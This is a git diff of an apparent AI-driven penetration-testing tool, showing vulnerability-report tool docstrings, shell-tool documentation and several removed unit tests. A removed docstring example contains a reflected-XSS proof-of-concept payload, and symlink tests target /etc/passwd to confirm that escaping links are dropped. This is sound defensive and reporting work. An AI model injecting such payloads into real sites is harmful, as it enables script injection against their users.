``I:H`` require proof of wide or systemic read/write. A single
user's data, a read-only information leak, or merely confirming
that an account / domain / software version *exists* (enumeration)
is ``C:L`` (often ``I:N``) not ``C:H``.
- **Model required position and interaction honestly.** An
adversary-in-the-middle prerequisite (e.g. cleartext transmission)
or a required victim action is not guaranteed reflect it in
``attack_complexity`` / ``user_interaction`` instead of assuming the
ideal condition always holds.
**CVE / CWE rules**: pass the bare ID only (``CVE-2024-1234``,
``CWE-89``) no name, no parenthetical. Be 100% certain; if
unsure, use ``web_search`` to verify the ID before passing, or omit
@@ -477,23 +407,13 @@ async def create_vulnerability_report(
title: Specific finding title (e.g.
``"SQL Injection in /api/users login parameter"``). Don't
include the CVE number in the title.
description: Concise, non-technical TL;DR of the vulnerability
(1-3 sentences) it appears first in the report. Deep
technical detail and root-cause analysis belong in
``technical_analysis``, not here.
description: How the vuln was discovered + what it is.
impact: What an attacker achieves; business risk; data at risk.
target: Affected URL / domain / repository.
technical_analysis: The mechanism and root cause.
poc_description: Step-by-step reproduction (steps only, no code).
poc_description: Step-by-step reproduction.
poc_script_code: Working PoC (Python preferred).
remediation_steps: Specific, actionable fix (prose, no code).
evidence: Concrete proof the issue is real and exploitable
request/response excerpts, observed behavior, tool output.
Use fenced code blocks; no internal identifiers/paths.
assumptions: Short note on the assumptions/prerequisites that
make this finding impactful or exploitable (e.g. "assumes an
authenticated low-privilege user").
fix_effort: One of ``trivial`` / ``low`` / ``medium`` / ``high``.
remediation_steps: Specific, actionable fix.
cvss_breakdown: 8-metric object per the format above.
endpoint: API path / Git path (e.g. ``/api/login``).
method: HTTP method when relevant.
@@ -562,47 +482,6 @@ async def create_vulnerability_report(
- Padding ``fix_before`` with surrounding context lines
that aren't part of the fix.
- Duplicating the same change across multiple locations.
fix_pr_body: Optional. When source is available and you have a
concrete fix, a markdown PR-description body proposing the
fix (summary + rationale). Prose/markdown only the code
change itself belongs in ``code_locations``. Omit for
black-box findings.
Example (abbreviated mirror this structure)::
title: "Reflected XSS in /search q parameter"
description:
The **`q`** parameter of `/search` reflects user input into
the HTML response without encoding, allowing script
injection.
technical_analysis:
The handler interpolates `q` directly into the page body:
```python title=views.py startLineNumber=42 endLineNumber=44
html = f"<h2>Results for {q}</h2>"
return HttpResponse(html)
```
No output encoding is applied, so `<script>` executes.
poc_description:
1. Navigate to `/search?q=<payload>`.
2. Observe the payload executes in the victim's browser.
poc_script_code:
```
GET /search?q=<script>alert(document.domain)</script>
```
evidence:
Response echoes the payload verbatim:
```html
<h2>Results for <script>alert(document.domain)</script></h2>
```
assumptions:
Assumes a victim can be induced to open a crafted link.
remediation_steps:
Context-encode all user input rendered into HTML; prefer the
template engine's auto-escaping over string interpolation.
fix_effort: "low"
"""
inner = ctx.context if isinstance(ctx.context, dict) else {}
raw_agent_id = inner.get("agent_id")
@@ -624,327 +503,12 @@ async def create_vulnerability_report(
poc_description=poc_description,
poc_script_code=poc_script_code,
remediation_steps=remediation_steps,
evidence=evidence,
assumptions=assumptions,
fix_effort=fix_effort,
cvss_breakdown=cvss_breakdown,
endpoint=endpoint,
method=method,
cve=cve,
cwe=cwe,
code_locations=code_locations,
fix_pr_body=fix_pr_body,
agent_id=agent_id,
agent_name=agent_name,
)
return json.dumps(result, ensure_ascii=False, default=str)
_DEP_SEVERITY_FROM_CVSS = {
(9.0, 10.0): "critical",
(7.0, 9.0): "high",
(4.0, 7.0): "medium",
(0.0, 4.0): "low",
}
def _dependency_severity(advisory_cvss: float | None) -> tuple[float, str]:
if advisory_cvss is None:
return 0.0, "info"
score = max(0.0, min(10.0, advisory_cvss))
for (lo, hi), label in _DEP_SEVERITY_FROM_CVSS.items():
if lo <= score < hi or (hi == 10.0 and score == 10.0):
return score, label
return score, "none"
def _build_dependency_metadata(
*,
package_name: str,
installed_version: str,
package_ecosystem: str | None,
fixed_version: str | None,
) -> dict[str, str]:
metadata = {
"package_name": package_name.strip(),
"installed_version": installed_version.strip(),
}
if package_ecosystem and package_ecosystem.strip():
metadata["package_ecosystem"] = package_ecosystem.strip()
if fixed_version and fixed_version.strip():
metadata["fixed_version"] = fixed_version.strip()
return metadata
def _build_dependency_evidence(
*,
cve: str,
package_name: str,
installed_version: str,
fixed_version: str | None,
) -> str:
evidence = (
f"**Advisory evidence:** `{cve}` applies to `{package_name}` "
f"at installed version `{installed_version}`."
)
if fixed_version and fixed_version.strip():
evidence += f" The advisory is fixed in `{fixed_version.strip()}`."
return evidence
async def _do_create_dependency( # noqa: PLR0912
*,
title: str,
description: str,
target: str,
cve: str,
package_name: str,
installed_version: str,
impact: str,
remediation_steps: str,
assumptions: str,
package_ecosystem: str | None,
fixed_version: str | None,
cwe: str | None,
advisory_cvss: float | None,
technical_analysis: str | None,
fix_effort: str,
agent_id: str | None = None,
agent_name: str | None = None,
) -> dict[str, Any]:
errors: list[str] = []
required = {
"title": title,
"description": description,
"target": target,
"package_name": package_name,
"installed_version": installed_version,
"package_ecosystem": package_ecosystem,
"impact": impact,
"remediation_steps": remediation_steps,
"assumptions": assumptions,
}
for name, value in required.items():
if not str(value or "").strip():
errors.append(f"{name} cannot be empty")
parsed_cve = _extract_cve(cve or "")
cve_err = _validate_cve(parsed_cve)
if cve_err:
errors.append(cve_err)
if cwe:
cwe = _extract_cwe(cwe)
cwe_err = _validate_cwe(cwe)
if cwe_err:
errors.append(cwe_err)
fix_effort = (fix_effort or "").strip().lower()
if fix_effort not in _VALID_FIX_EFFORT:
errors.append(
f"Invalid fix_effort: {fix_effort!r}. Must be one of: {sorted(_VALID_FIX_EFFORT)}"
)
if advisory_cvss is None:
errors.append(
"advisory_cvss is required: read the published advisory base score "
"(0.0-10.0) off the advisory (trivy CVSS / NVD / GHSA). Severity is "
"derived solely from it — do not omit it or the finding cannot be rated."
)
elif not 0.0 <= advisory_cvss <= 10.0:
errors.append(f"advisory_cvss must be between 0.0 and 10.0, got {advisory_cvss}")
if errors:
return {"success": False, "error": "Validation failed", "errors": errors}
cvss_score, severity = _dependency_severity(advisory_cvss)
dependency_metadata = _build_dependency_metadata(
package_name=package_name,
installed_version=installed_version,
package_ecosystem=package_ecosystem,
fixed_version=fixed_version,
)
evidence = _build_dependency_evidence(
cve=parsed_cve,
package_name=package_name.strip(),
installed_version=installed_version.strip(),
fixed_version=fixed_version,
)
try:
from strix.report.state import get_global_report_state
report_state = get_global_report_state()
if report_state is None:
logger.warning("No global report state; dependency report not persisted")
return {
"success": True,
"message": f"Dependency finding '{title}' created (not persisted)",
"warning": "Report could not be persisted - report state unavailable",
}
from strix.report.dedupe import check_duplicate
existing = report_state.get_existing_vulnerabilities()
candidate = {
"title": title,
"description": description,
"target": target,
"cve": parsed_cve,
"dependency_metadata": dependency_metadata,
"technical_analysis": technical_analysis,
}
dedupe = await check_duplicate(candidate, existing)
if dedupe.get("is_duplicate"):
duplicate_id = dedupe.get("duplicate_id", "")
return {
"success": False,
"error": (
f"Potential duplicate (id={duplicate_id[:8]}...) — "
"do not re-report the same dependency finding"
),
"duplicate_of": duplicate_id,
"confidence": dedupe.get("confidence", 0.0),
"reason": dedupe.get("reason", ""),
}
report_id = report_state.add_vulnerability_report(
title=title,
description=description,
severity=severity,
impact=impact,
target=target,
technical_analysis=technical_analysis,
remediation_steps=remediation_steps,
evidence=evidence,
assumptions=assumptions,
fix_effort=fix_effort,
cvss=cvss_score if advisory_cvss is not None else None,
cve=parsed_cve,
cwe=cwe,
finding_class="dependency_cve",
dependency_metadata=dependency_metadata,
agent_id=agent_id if isinstance(agent_id, str) else None,
agent_name=agent_name if isinstance(agent_name, str) else None,
)
except (ImportError, AttributeError) as e:
logger.exception("create_dependency_report persistence failed")
return {"success": False, "error": f"Failed to create dependency report: {e!s}"}
else:
logger.info(
"Dependency report created: id=%s cve=%s package=%s severity=%s",
report_id,
parsed_cve,
package_name,
severity,
)
return {
"success": True,
"message": f"Dependency finding '{title}' created successfully",
"report_id": report_id,
"severity": severity,
"cve": parsed_cve,
}
@function_tool(timeout=180, strict_mode=False)
async def create_dependency_report(
ctx: RunContextWrapper,
title: str,
description: str,
target: str,
cve: str,
package_name: str,
installed_version: str,
advisory_cvss: float,
impact: str,
remediation_steps: str,
assumptions: str,
package_ecosystem: str,
fixed_version: str | None = None,
cwe: str | None = None,
technical_analysis: str | None = None,
fix_effort: str = "low",
) -> str:
"""File a known-CVE dependency (SCA) finding — one report per CVE x package.
Use this instead of ``create_vulnerability_report`` when the finding
is a **known-CVE supply-chain issue**: a vulnerable third-party
package/version identified from a lockfile, manifest, or SBOM. Unlike
a dynamic finding, you do NOT need to trigger the vulnerability with a
live PoC a verified advisory + the affected installed version is the
evidence.
**When to file**:
- A dependency is pinned to a version covered by a published CVE.
- You have verified the CVE ID and the installed version falls in the
affected range (use ``web_search`` if unsure).
**When NOT to file**:
- Dynamically-proven vulnerabilities use
``create_vulnerability_report`` (``finding_class`` dynamic).
- Outdated-but-not-vulnerable dependencies with no CVE.
- Re-reporting the same CVE/package already filed.
**Reachability**: do NOT silently downgrade or suppress a finding
because the vulnerable code path may be unreachable instead state
reachability as an ``assumptions`` / confidence factor. Report the
finding; let the reader weigh exploitability.
**Formatting**: use markdown in text fields (``**bold**``, ``inline
code`` for package/version identifiers, fenced code blocks for
manifest excerpts). No internal paths/tooling/agent references.
Args:
title: e.g. ``"CVE-2024-1234 in lodash 4.17.20 (prototype pollution)"``.
description: What the CVE is and why the pinned version is affected.
target: Affected repository / project / manifest.
cve: ``CVE-YYYY-NNNNN`` required and must be verified.
package_name: Affected package name (e.g. ``lodash``).
installed_version: The version currently pinned/installed.
impact: What the CVE enables; business risk in this context.
remediation_steps: How to fix (usually upgrade to a fixed version).
assumptions: Exploitability/reachability assumptions & confidence.
package_ecosystem: e.g. ``npm`` / ``pypi`` / ``maven`` / ``go``.
fixed_version: First non-vulnerable version, if known.
cwe: ``CWE-NNN`` (most specific) if certain, else omit.
advisory_cvss: **Required.** Published advisory base score
(0.0-10.0) read it off the advisory (trivy CVSS / NVD / GHSA).
Severity is derived solely from this score, so it must be the
real published value; do not guess or omit it.
technical_analysis: Optional deeper mechanism/root-cause detail.
fix_effort: One of ``trivial`` / ``low`` / ``medium`` / ``high``
(dependency upgrades are usually ``trivial``/``low``).
"""
inner = ctx.context if isinstance(ctx.context, dict) else {}
raw_agent_id = inner.get("agent_id")
agent_id = raw_agent_id if isinstance(raw_agent_id, str) else None
agent_name = None
coordinator = inner.get("coordinator")
if agent_id is not None and coordinator is not None:
names = getattr(coordinator, "names", {})
if isinstance(names, dict):
raw_agent_name = names.get(agent_id)
agent_name = raw_agent_name if isinstance(raw_agent_name, str) else None
result = await _do_create_dependency(
title=title,
description=description,
target=target,
cve=cve,
package_name=package_name,
installed_version=installed_version,
impact=impact,
remediation_steps=remediation_steps,
assumptions=assumptions,
package_ecosystem=package_ecosystem,
fixed_version=fixed_version,
cwe=cwe,
advisory_cvss=advisory_cvss,
technical_analysis=technical_analysis,
fix_effort=fix_effort,
agent_id=agent_id,
agent_name=agent_name,
)
-17
View File
@@ -5,23 +5,6 @@ invocation the agent makes (nmap, ffuf, agent-browser, python3, …) goes
through `exec_command`. `write_stdin` streams input to a still-running
process started by an earlier `exec_command` (for interactive prompts).
## `write_stdin` requires a TTY-backed process
`exec_command` runs each command in a fresh **non-interactive** shell (plain
pipes, no TTY) by default. `write_stdin` only works against a process that is
still running **and** was started with a PTY. The canonical sequence is:
```text
exec_command(cmd="python3", tty=true) # start a PTY-backed process
write_stdin(session_id=<id>, chars="print(1)\n")
```
Calling `write_stdin` on a command started with the default `tty=false`, or on
a process that has already exited, fails with
`stdin is not available for this process. Start the command with 'tty=true' in
'exec_command' before using 'write_stdin'.` Use `tty=true` for REPLs,
`ssh`/`nc`/`ftp`, `msfconsole`, or to deliver a Ctrl-C to a long-running job.
- **Implementation:** `agents.sandbox.capabilities.tools.shell_tool.ShellTool`
(in the upstream `agents` SDK)
- **Wired in:** `strix/agents/factory.py` — added per-run via the SDK
-51
View File
@@ -1,51 +0,0 @@
"""Tests for the shell tool adapters in the agent factory."""
from __future__ import annotations
import json
from typing import Any, cast
import pytest
from agents.tool import FunctionTool
from strix.agents import factory
def _capturing_exec_tool(captured: dict[str, str]) -> FunctionTool:
async def invoke(_ctx: Any, raw_input: str) -> str:
captured["raw_input"] = raw_input
return "ok"
return FunctionTool(
name="exec_command",
description="test tool",
params_json_schema={"type": "object", "properties": {}},
on_invoke_tool=invoke,
)
@pytest.mark.asyncio
async def test_wrap_exec_command_defaults_shell_to_bash() -> None:
captured: dict[str, str] = {}
wrapped = factory._wrap_exec_command(_capturing_exec_tool(captured))
result = await wrapped.on_invoke_tool(cast("Any", None), json.dumps({"cmd": "source /tmp/env"}))
assert result == "ok"
assert json.loads(captured["raw_input"]) == {
"cmd": "source /tmp/env",
"shell": "bash",
}
@pytest.mark.asyncio
@pytest.mark.parametrize("shell", ["/bin/zsh", ""])
async def test_wrap_exec_command_preserves_explicit_shell(shell: str) -> None:
captured: dict[str, str] = {}
wrapped = factory._wrap_exec_command(_capturing_exec_tool(captured))
await wrapped.on_invoke_tool(
cast("Any", None), json.dumps({"cmd": "echo test", "shell": shell})
)
assert json.loads(captured["raw_input"])["shell"] == shell
-88
View File
@@ -1,88 +0,0 @@
"""Tests for scan-agent tool registration in factory."""
from __future__ import annotations
import pytest
from agents.tool import FunctionTool
from strix.agents import factory
def _tool(name: str) -> FunctionTool:
return FunctionTool(
name=name,
description="test tool",
params_json_schema={"type": "object", "properties": {}, "additionalProperties": False},
on_invoke_tool=lambda _ctx, _inp: "ok",
)
@pytest.fixture(autouse=True)
def _reset_registry() -> object:
saved = list(factory._EXTRA_TOOLS)
factory._EXTRA_TOOLS.clear()
try:
yield
finally:
factory._EXTRA_TOOLS[:] = saved
def test_register_agent_tools_is_deduped() -> None:
tool = _tool("dup")
factory.register_agent_tools(tool)
factory.register_agent_tools(tool)
assert factory.registered_agent_tools() == (tool,)
def test_registered_tools_appear_before_lifecycle_tool() -> None:
tool = _tool("extra")
factory.register_agent_tools(tool)
root = factory.build_strix_agent(is_root=True)
child = factory.build_strix_agent(is_root=False)
root_names = [t.name for t in root.tools]
child_names = [t.name for t in child.tools]
assert root_names[-2:] == ["extra", "finish_scan"]
assert child_names[-2:] == ["extra", "agent_finish"]
def test_per_call_extra_tools_stack_with_registry() -> None:
factory.register_agent_tools(_tool("registered"))
agent = factory.build_strix_agent(is_root=True, extra_tools=[_tool("per_call")])
names = [t.name for t in agent.tools]
assert "registered" in names
assert "per_call" in names
assert names[-1] == "finish_scan"
def test_register_agent_tools_rejects_duplicate_names() -> None:
factory.register_agent_tools(_tool("same_name"))
with pytest.raises(ValueError, match="same_name"):
factory.register_agent_tools(_tool("same_name"))
def test_per_call_extra_tools_reject_duplicate_registered_names() -> None:
factory.register_agent_tools(_tool("same_name"))
with pytest.raises(ValueError, match="same_name"):
factory.build_strix_agent(is_root=True, extra_tools=[_tool("same_name")])
def test_instructions_override_is_used_verbatim() -> None:
custom = "You are a scan agent. Follow the provided scope."
agent = factory.build_strix_agent(is_root=True, instructions_override=custom)
assert agent.instructions == custom
def test_no_override_renders_builtin_prompt() -> None:
agent = factory.build_strix_agent(is_root=True)
assert isinstance(agent.instructions, str)
assert agent.instructions != ""
-1
View File
@@ -26,7 +26,6 @@ _LLM_ENV_KEYS = [
"LITELLM_BASE_URL",
"OLLAMA_API_BASE",
"STRIX_REASONING_EFFORT",
"STRIX_FORCE_REQUIRED_TOOL_CHOICE",
"LLM_TIMEOUT",
"PERPLEXITY_API_KEY",
# RuntimeSettings
-109
View File
@@ -6,7 +6,6 @@ from types import SimpleNamespace
from unittest.mock import MagicMock, patch
import litellm
import pytest
from strix.config.models import _configure_litellm_compatibility
from strix.report.state import litellm_cost_callback
@@ -43,111 +42,3 @@ def test_cost_callback_reads_usage_cost_from_mapping_response() -> None:
litellm_cost_callback({}, response)
report_state.record_observed_llm_cost.assert_called_once_with(0.125)
def test_cost_callback_reads_byok_upstream_inference_cost() -> None:
report_state = MagicMock()
response = SimpleNamespace(
usage=SimpleNamespace(
cost=0,
is_byok=True,
cost_details=SimpleNamespace(upstream_inference_cost=6.75e-06),
),
_hidden_params={},
)
with patch("strix.report.state.get_global_report_state", return_value=report_state):
litellm_cost_callback({"response_cost": None}, response)
report_state.record_observed_llm_cost.assert_called_once_with(6.75e-06)
def test_cost_callback_sums_usage_cost_and_upstream_inference_cost() -> None:
report_state = MagicMock()
response = {
"usage": {
"cost": 0.01,
"is_byok": True,
"cost_details": {"upstream_inference_cost": 0.2},
}
}
with patch("strix.report.state.get_global_report_state", return_value=report_state):
litellm_cost_callback({}, response)
report_state.record_observed_llm_cost.assert_called_once_with(pytest.approx(0.21))
def test_cost_callback_ignores_upstream_cost_for_non_byok_responses() -> None:
report_state = MagicMock()
response = {
"usage": {
"cost": 0.05,
"is_byok": False,
"cost_details": {"upstream_inference_cost": 0.04},
}
}
with patch("strix.report.state.get_global_report_state", return_value=report_state):
litellm_cost_callback({}, response)
report_state.record_observed_llm_cost.assert_called_once_with(0.05)
def test_cost_callback_estimates_cost_with_provider_prefixed_model() -> None:
report_state = MagicMock()
response = {"usage": {"prompt_tokens": 10, "completion_tokens": 5, "total_tokens": 15}}
kwargs = {
"response_cost": None,
"model": "anthropic/claude-sonnet-4.5",
"litellm_params": {"custom_llm_provider": "openrouter"},
}
def fake_completion_cost(**kwargs: object) -> float:
if kwargs["model"] == "openrouter/anthropic/claude-sonnet-4.5":
return 0.5
raise ValueError(kwargs["model"])
with (
patch("strix.report.state.get_global_report_state", return_value=report_state),
patch("litellm.completion_cost", side_effect=fake_completion_cost),
):
litellm_cost_callback(kwargs, response)
report_state.record_observed_llm_cost.assert_called_once_with(0.5)
def test_cost_callback_estimates_cost_with_bare_model_fallback() -> None:
report_state = MagicMock()
response = {"usage": {"prompt_tokens": 10, "completion_tokens": 5, "total_tokens": 15}}
kwargs = {
"response_cost": None,
"model": "openai/gpt-4o-mini",
"litellm_params": {"custom_llm_provider": "openrouter"},
}
def fake_completion_cost(**kwargs: object) -> float:
if kwargs["model"] == "gpt-4o-mini":
return 0.025
raise ValueError(kwargs["model"])
with (
patch("strix.report.state.get_global_report_state", return_value=report_state),
patch("litellm.completion_cost", side_effect=fake_completion_cost),
):
litellm_cost_callback(kwargs, response)
report_state.record_observed_llm_cost.assert_called_once_with(0.025)
def test_cost_callback_records_nothing_when_no_cost_available() -> None:
report_state = MagicMock()
response = {"usage": {"prompt_tokens": 10, "completion_tokens": 5, "total_tokens": 15}}
with (
patch("strix.report.state.get_global_report_state", return_value=report_state),
patch("litellm.completion_cost", side_effect=ValueError("unknown model")),
):
litellm_cost_callback({"response_cost": None, "model": "x/y"}, response)
report_state.record_observed_llm_cost.assert_not_called()
-86
View File
@@ -1,86 +0,0 @@
"""StrixDockerSandboxClient.delete() best-effort teardown.
delete() kills the sandbox container before delegating to the SDK's delete().
The kill is meant to be best-effort, but the ``contextlib.suppress`` around it
must cover the case where the docker daemon socket is already gone: then
``containers.get()`` -> ``inspect_container`` raises requests'
``ConnectionError``, which is a *sibling* of ``docker.errors.APIError`` under
``requests.RequestException`` (not a subclass), so an APIError-only suppress
would let it escape and surface a traceback on every teardown.
"""
from __future__ import annotations
from types import SimpleNamespace
from unittest.mock import AsyncMock, MagicMock, patch
import pytest
from agents.sandbox.sandboxes.docker import DockerSandboxClient
from docker import errors as docker_errors
from requests.exceptions import ConnectionError as RequestsConnectionError
from strix.runtime.docker_client import StrixDockerSandboxClient
def _client_with_kill_error(exc: Exception) -> StrixDockerSandboxClient:
"""A StrixDockerSandboxClient whose containers.get(...).kill() raises ``exc``."""
client = StrixDockerSandboxClient.__new__(StrixDockerSandboxClient)
docker_client = MagicMock()
docker_client.containers.get.side_effect = exc
client.docker_client = docker_client
return client
def _session() -> object:
# delete() reads session._inner.state.container_id
return SimpleNamespace(_inner=SimpleNamespace(state=SimpleNamespace(container_id="abc123")))
@pytest.mark.parametrize(
"exc",
[
RequestsConnectionError("Connection aborted", FileNotFoundError(2, "No such file")),
docker_errors.NotFound("gone"),
docker_errors.APIError("unhappy"),
],
)
@pytest.mark.asyncio
async def test_delete_swallows_best_effort_kill_errors(exc):
"""A torn-down socket (ConnectionError) or a gone/unhappy container
(NotFound/APIError) during the kill must not propagate; delete() still
delegates to the SDK's delete()."""
client = _client_with_kill_error(exc)
session = _session()
with patch.object(
DockerSandboxClient, "delete", new=AsyncMock(return_value=session)
) as super_delete:
result = await client.delete(session)
assert result is session
super_delete.assert_awaited_once() # teardown proceeded despite the kill error
@pytest.mark.asyncio
async def test_delete_does_not_swallow_unrelated_errors():
"""A programming error (e.g. ValueError) is not part of best-effort kill and
must still propagate."""
client = _client_with_kill_error(ValueError("boom"))
with pytest.raises(ValueError):
await client.delete(_session())
@pytest.mark.asyncio
async def test_delete_noop_without_container_id():
"""No container_id -> no kill attempt, just delegate."""
client = StrixDockerSandboxClient.__new__(StrixDockerSandboxClient)
client.docker_client = MagicMock()
session = SimpleNamespace(_inner=SimpleNamespace(state=SimpleNamespace(container_id=None)))
with patch.object(
DockerSandboxClient, "delete", new=AsyncMock(return_value=session)
) as super_delete:
await client.delete(session)
client.docker_client.containers.get.assert_not_called()
super_delete.assert_awaited_once()
+1 -74
View File
@@ -7,7 +7,7 @@ from typing import Any
import pytest
from strix.core.inputs import build_root_task, child_initial_input, make_model_settings
from strix.core.inputs import build_root_task, child_initial_input
def _child_kwargs(parent_history: list[Any]) -> dict[str, Any]:
@@ -112,76 +112,3 @@ def test_build_root_task_diff_scope() -> None:
assert "Scope Constraints:" in task
assert "3 changed file(s)" in task
assert "2 deleted file(s)" in task
@pytest.mark.parametrize("model_name", ["openai/o3", "gpt-4o"])
def test_make_model_settings_forces_required_tool_choice_for_openai_models(
model_name: str,
) -> None:
settings = make_model_settings(
"none",
model_name=model_name,
force_required_tool_choice=True,
)
assert settings.tool_choice == "required"
def test_make_model_settings_skips_required_tool_choice_for_non_openai_models() -> None:
settings = make_model_settings(
"none",
model_name="anthropic/claude-3-7-sonnet-latest",
force_required_tool_choice=True,
)
assert settings.tool_choice is None
def test_make_model_settings_forces_required_for_routed_openai_model() -> None:
settings = make_model_settings(
None,
model_name="litellm/openai/gpt-4o",
force_required_tool_choice=True,
)
assert settings.tool_choice == "required"
def test_make_model_settings_forces_required_for_anyllm_routed_openai_model() -> None:
settings = make_model_settings(
None,
model_name="any-llm/openai/gpt-4o",
force_required_tool_choice=True,
)
assert settings.tool_choice == "required"
def test_make_model_settings_sets_request_timeout() -> None:
settings = make_model_settings(
"none",
model_name="gpt-4o",
request_timeout=300.0,
)
assert settings.extra_args is not None
assert settings.extra_args["timeout"] == 300.0
def test_make_model_settings_omits_timeout_when_unset() -> None:
settings = make_model_settings("none", model_name="gpt-4o")
assert settings.extra_args is None
def test_make_model_settings_timeout_survives_reasoning_resolve() -> None:
# Reasoning is resolved via ModelSettings.resolve(); the timeout in extra_args
# must not be dropped when a reasoning override is merged in.
settings = make_model_settings(
"high",
model_name="openai/o3",
request_timeout=120.0,
)
assert settings.extra_args is not None
assert settings.extra_args["timeout"] == 120.0
-108
View File
@@ -1,108 +0,0 @@
"""Tests for symlink-safe LocalDir staging."""
from __future__ import annotations
from typing import TYPE_CHECKING
from strix.runtime.local_dir_staging import stage_symlink_safe_dir, tree_has_symlink
if TYPE_CHECKING:
from pathlib import Path
def _make_repo(tmp_path: Path) -> Path:
repo = tmp_path / "repo"
(repo / "pkg").mkdir(parents=True)
(repo / "pkg" / "mod.py").write_text("x = 1\n")
(repo / "README.md").write_text("readme\n")
return repo
def test_tree_without_symlinks_used_as_is(tmp_path: Path) -> None:
repo = _make_repo(tmp_path)
upload_path, staged = stage_symlink_safe_dir(repo)
assert staged is None
assert upload_path == repo.resolve()
assert not tree_has_symlink(repo)
def test_in_tree_file_symlink_is_dereferenced(tmp_path: Path) -> None:
repo = _make_repo(tmp_path)
(repo / "link.py").symlink_to(repo / "pkg" / "mod.py")
upload_path, staged = stage_symlink_safe_dir(repo)
assert staged is not None
assert upload_path == staged
assert not (staged / "link.py").is_symlink()
assert (staged / "link.py").read_text() == "x = 1\n"
assert (staged / "pkg" / "mod.py").read_text() == "x = 1\n"
assert not tree_has_symlink(staged)
def test_in_tree_relative_dir_symlink_is_dereferenced(tmp_path: Path) -> None:
repo = _make_repo(tmp_path)
(repo / "pkg_alias").symlink_to("pkg")
_upload, staged = stage_symlink_safe_dir(repo)
assert staged is not None
assert (staged / "pkg_alias" / "mod.py").read_text() == "x = 1\n"
assert not tree_has_symlink(staged)
def test_out_of_tree_symlink_is_dropped(tmp_path: Path) -> None:
repo = _make_repo(tmp_path)
outside = tmp_path / "outside.txt"
outside.write_text("secret\n")
(repo / "escape.txt").symlink_to(outside)
(repo / "abs_escape").symlink_to("/etc")
_upload, staged = stage_symlink_safe_dir(repo)
assert staged is not None
assert not (staged / "escape.txt").exists()
assert not (staged / "abs_escape").exists()
assert (staged / "README.md").exists()
def test_dangling_symlink_is_dropped(tmp_path: Path) -> None:
repo = _make_repo(tmp_path)
(repo / "dangling").symlink_to(repo / "does-not-exist")
_upload, staged = stage_symlink_safe_dir(repo)
assert staged is not None
assert not (staged / "dangling").exists()
assert not (staged / "dangling").is_symlink()
def test_cyclic_symlink_terminates(tmp_path: Path) -> None:
repo = _make_repo(tmp_path)
(repo / "self").symlink_to(repo)
(repo / "pkg" / "up").symlink_to("..")
_upload, staged = stage_symlink_safe_dir(repo)
assert staged is not None
assert (staged / "README.md").exists()
assert not tree_has_symlink(staged)
def test_nested_symlinks_inside_linked_dir(tmp_path: Path) -> None:
repo = _make_repo(tmp_path)
shared = repo / "shared"
shared.mkdir()
(shared / "conf.json").write_text("{}\n")
(shared / "escape").symlink_to("/etc/passwd")
(repo / "pkg" / "shared_link").symlink_to(shared)
_upload, staged = stage_symlink_safe_dir(repo)
assert staged is not None
assert (staged / "pkg" / "shared_link" / "conf.json").read_text() == "{}\n"
assert not (staged / "pkg" / "shared_link" / "escape").exists()
assert not (staged / "shared" / "escape").exists()
-77
View File
@@ -1,77 +0,0 @@
"""Tests for the model retry policy used by every agent model call.
The SDK's built-in ``http_status`` policy only retries errors that carry a known
HTTP status code. Quota/billing (and other provider-side) failures often surface
*inside* a streamed response as a bare error with no status code, so Strix adds a
statusless retry policy to ``DEFAULT_MODEL_RETRY`` to keep them recoverable the
behavior the pre-SDK engine had.
"""
from __future__ import annotations
import asyncio
from agents.retry import ModelRetryNormalizedError, RetryPolicyContext
from strix.config.models import DEFAULT_MODEL_RETRY, _retry_statusless_provider_errors
def _context(normalized: ModelRetryNormalizedError) -> RetryPolicyContext:
return RetryPolicyContext(
error=RuntimeError("boom"),
attempt=1,
max_retries=5,
stream=True,
normalized=normalized,
provider_advice=None,
)
def _retries(normalized: ModelRetryNormalizedError) -> bool:
"""Evaluate the composed DEFAULT_MODEL_RETRY policy for a normalized error."""
policy = DEFAULT_MODEL_RETRY.policy
assert policy is not None
decision = asyncio.run(policy(_context(normalized)))
return bool(getattr(decision, "retry", decision))
def test_statusless_error_is_retried() -> None:
# A mid-stream quota/billing error arrives with no HTTP status code.
assert _retries(ModelRetryNormalizedError(status_code=None)) is True
def test_statusless_abort_is_not_retried() -> None:
# A user/client cancellation must never be retried.
assert _retries(ModelRetryNormalizedError(status_code=None, is_abort=True)) is False
def test_client_error_is_not_retried() -> None:
# A definitive 4xx client error (bad request/auth) is not recoverable.
assert _retries(ModelRetryNormalizedError(status_code=400)) is False
def test_rate_limit_and_server_errors_are_retried() -> None:
for status in (429, 500, 502, 503, 504):
assert _retries(ModelRetryNormalizedError(status_code=status)) is True
def test_timeout_error_is_retried() -> None:
# A stalled model stream trips the per-request read/inactivity timeout, which
# the SDK normalizes as a timeout. DEFAULT_MODEL_RETRY must retry it so a hung
# turn recovers instead of silently wedging the agent.
assert _retries(ModelRetryNormalizedError(is_timeout=True)) is True
assert _retries(ModelRetryNormalizedError(is_network_error=True)) is True
def test_policy_helper_matches_statusless_only() -> None:
assert _retry_statusless_provider_errors(_context(ModelRetryNormalizedError())) is True
assert (
_retry_statusless_provider_errors(_context(ModelRetryNormalizedError(status_code=400)))
is False
)
assert (
_retry_statusless_provider_errors(
_context(ModelRetryNormalizedError(status_code=None, is_abort=True))
)
is False
)
-88
View File
@@ -1,88 +0,0 @@
"""Tests for LLM model recommendation helpers."""
from __future__ import annotations
import pytest
from agents.model_settings import ModelSettings
from strix.config.models import (
RECOMMENDED_MODEL_NAMES,
is_recommended_or_frontier_model,
request_timeout_extra_args,
)
@pytest.mark.parametrize("model_name", RECOMMENDED_MODEL_NAMES)
def test_recommended_models_are_accepted(model_name: str) -> None:
assert is_recommended_or_frontier_model(model_name)
def test_request_timeout_extra_args_positive() -> None:
assert request_timeout_extra_args(300) == {"timeout": 300}
assert request_timeout_extra_args(10) == {"timeout": 10}
def test_request_timeout_extra_args_survives_model_settings_json_dump() -> None:
"""The Chat Completions and LiteLLM paths pydantic-serialize ModelSettings for
their tracing span; a non-JSON-serializable timeout fails every turn there."""
settings = ModelSettings(extra_args=request_timeout_extra_args(300))
assert settings.to_json_dict()["extra_args"] == {"timeout": 300}
@pytest.mark.parametrize("value", [None, 0, -1])
def test_request_timeout_extra_args_disabled(value: float | None) -> None:
assert request_timeout_extra_args(value) is None
def test_recommended_models_are_matched_case_insensitively() -> None:
assert is_recommended_or_frontier_model("Vertex_AI/Gemini-3-Pro-Preview")
@pytest.mark.parametrize(
"model_name",
[
"gpt-5.5",
"litellm/openai/gpt-5.4-pro",
"azure_ai/gpt-5.5-pro",
"bedrock_mantle/openai.gpt-5.5",
"anthropic/claude-opus-4-8",
"anthropic.claude-opus-4-8",
